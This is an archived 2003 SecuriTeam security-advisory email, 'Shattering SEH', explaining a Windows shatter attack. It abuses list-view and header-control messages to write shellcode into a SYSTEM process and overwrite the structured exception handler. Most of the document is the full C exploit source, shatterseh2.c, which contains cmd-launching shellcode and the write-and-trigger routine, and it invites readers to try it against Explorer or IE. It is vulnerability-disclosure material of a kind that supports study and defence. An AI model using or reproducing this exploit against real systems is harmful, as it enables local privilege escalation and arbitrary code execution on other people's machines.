[NT] Shattering SEH

From: SecuriTeam (support_at_securiteam.com)
Date: 07/31/03

  • Next message: SecuriTeam: "[NT] GameSpy Arcade Arbitrary File Writing"
    To: list@securiteam.com
    Date: 31 Jul 2003 13:46:00 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Get Thawte's New Step-by-Step SSL Guide for Apache.
    In this guide you will find out how to test, purchase,
    install and use a Thawte Digital Certificate on you Apache web server.
    Throughout, best practices for set-up are highlighted to help you
    ensure efficient ongoing management of your encryption keys and digital
    certificates. Get you copy of this new guide now:
    http://ad.doubleclick.net/clk;5903117;8265118;i

    - - - - - - - - -

      Shattering SEH
    ------------------------------------------------------------------------

    SUMMARY

    The Win32 SEH (Structured Exception Handling) are a Microsoft extension to
    the C language that enables applications to gain control of a program
    after events that would normally terminate execution.

    For more information see:
    <http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclang/html/_pluslang_structured_exception_handling.asp> Structured exception handling

    The technique described here is a method allowing a low-level user to
    overwrite important memory locations in a SYSTEM process. Important memory
    locations such as SEH pointers, etc.

    DETAILS

    Various windows messages accept a pointer to a POINT or RECT structure
    that will be used to retrieve GDI information about windows. These
    pointers do not appear to be validated in any way.

    We will concentrate on the HDM_GETITEMRECT message:
    (From MSDN)
    - HDM_GETITEMRECT Message
    -
    - Retrieves the bounding rectangle for a given item in a header control.
    - You can send this message explicitly or use the Header_GetItemRect
    macro.
    -
    - Syntax
    -
    - To send this message, call the SendMessage function as follows.
    - lResult = SendMessage((HWND) hWndControl, // handle to control
    - (UINT) HDM_GETITEMRECT, // message ID
    - (WPARAM) wParam, // = (WPARAM) (int) iIndex;
    - (LPARAM) lParam ); // = (LPARAM) (RECT*) lpItemRect;
    - Parameters
    - iIndex
    - Zero-based index of the header control item for which to retrieve the
    - bounding rectangle.
    - lpItemRect
    - Pointer to a RECT structure that receives the bounding rectangle
    information.
    -
    (End MSDN)

    So if we wanted to overwrite the Unhandled Exception Filter 77edxxxx we
    would call:
     SendMessage(hwnd,HDM_GETITEMRECT,0,0x77edxxxx)
    Now the challenge is how do we control what is been written to the
    address.

    The RECT structure is defined as:
    (From MSDN)
    - typedef struct _RECT {
    - LONG left;
    - LONG top;
    - LONG right;
    - LONG bottom;
    - } RECT, *PRECT;
    (End MSDN)

    The only variable that we are in control of is the right, or width of the
    header item. The size is limited though, allowing us only to control the
    low order 16 bits of the written value. The high order bits are set to
    0000.

    But by offsetting our write address we can control the high order 16 bits
    of the required value, with the low order bits been set to 0000.

    If we can place our shellcode in a place that includes XXXX0000 in the
    address then we will be able to land in our shellcode by setting the
    header item width to XXXX, causing the write and then causing an
    exception.

    When used with the HDM_GETITEMRECT message, memory is overwritten as:
    AAAABBBBCCCCDDDD where A = Left, B = Top, C = Right, D = Bottom

    By setting the width of the first column, we are in control of the left
    value of the second column. We can use the least significant byte to
    overwrite memory space byte by byte.

    When the HDM_GETITEMRECT is called, memory will be overwritten as:
    XAAABBBBCCCCDDDD where X is our 'controlled' byte.

    By doing one write and then incrementing our write address, we are able to
    write a string of controlled bytes to a controlled memory location. This
    location could be program read/write data space, or something global like
    TEB/PEB.

    We can use this method to write our shellcode into a known writeable
    address. Then the SEH handler is overwritten with the same address, and
    after causing an exception the code is executed.

    Exploit Code (Revised):
    /**********************************************************
    * shatterseh2.c
    *
    * Demonstrates the use of listview messages to;
    * - inject shellcode to known location
    * - overwrite 4 bytes of a critical memory address
    *
    * 3 Variables need to be set for proper execution.
    * - tWindow is the title of the programs main window
    * - sehHandler is the critical address to overwrite
    * - shellcodeaddr is the data space to inject the code
    * The 'autofind' feature may not work against all programs.
    * Insert your own blank lines for readability
    * Try it out against any program with a listview.
    * eg: explorer, IE, any file open dialog
    * Brett Moore [ brett.moore@security-assessment.com ]
    * www.security-assessment.com
    **********************************************************/
    #include <windows.h>
    #include <commctrl.h>
    // Local Cmd Shellcode
    BYTE exploit[] =
    "\x90\x68\x63\x6d\x64\x00\x54\xb9\xc3\xaf\x01\x78\xff\xd1\xcc";
    long hLVControl,hHdrControl;
    char tWindow[]="Main Window Title";// The name of the main window
    long sehHandler = 0x77edXXXX; // Critical Address To Overwrite
    long shellcodeaddr = 0x0045e000; // Known Writeable Space Or Global Space
    void doWrite(long tByte,long address);
    void IterateWindows(long hWnd);
    int main(int argc, char *argv[])
    {
       long hWnd;
       HMODULE hMod;
       DWORD ProcAddr;
       printf("%% Playing with listview messages\n");
       printf("%% brett.moore@security-assessment.com\n\n");
       // Find local procedure address
       hMod = LoadLibrary("msvcrt.dll");
       ProcAddr = (DWORD)GetProcAddress(hMod, "system");
       if(ProcAddr != 0)
          // And put it in our shellcode
          *(long *)&exploit[8] = ProcAddr;
       printf("+ Finding %s Window...\n",tWindow);
       hWnd = FindWindow(NULL,tWindow);
       if(hWnd == NULL)
       {
          printf("+ Couldn't Find %s Window\n",tWindow);
          return 0;
       }
       printf("+ Found Main Window At...0x%xh\n",hWnd);
       IterateWindows(hWnd);
       printf("+ Not Done...\n");
       return 0;
    }
    void doWrite(long tByte,long address)
    {
       SendMessage((HWND) hLVControl,(UINT) LVM_SETCOLUMNWIDTH,
    0,MAKELPARAM(tByte, 0));
       SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address);
    }
    void IterateWindows(long hWnd)
    {
       long childhWnd,looper;
       childhWnd = GetNextWindow(hWnd,GW_CHILD);
       while (childhWnd != NULL)
       {
          IterateWindows(childhWnd);
          childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT);
       }
       hLVControl = hWnd;
       hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0);
       if(hHdrControl != NULL)
       {
          // Found a Listview Window with a Header
          printf("+ Found listview window..0x%xh\n",hLVControl);
          printf("+ Found lvheader window..0x%xh\n",hHdrControl);
          // Inject shellcode to known address
          printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
          for (looper=0;looper<sizeof(exploit);looper++)
             doWrite((long) exploit[looper],(shellcodeaddr + looper));
          // Overwrite SEH
          printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
          doWrite(((shellcodeaddr) & 0xff),sehHandler);
          doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1);
          doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2);
          doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3);
          // Cause exception
          printf("+ Forcing Unhandled Exception\n");
          SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1);
          printf("+ Done...\n");
          exit(0);
       }

    ADDITIONAL INFORMATION

    The information was provided by
    <mailto:brett.moore@security-assessment.com> Brett Moore

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] GameSpy Arcade Arbitrary File Writing"

    Relevant Pages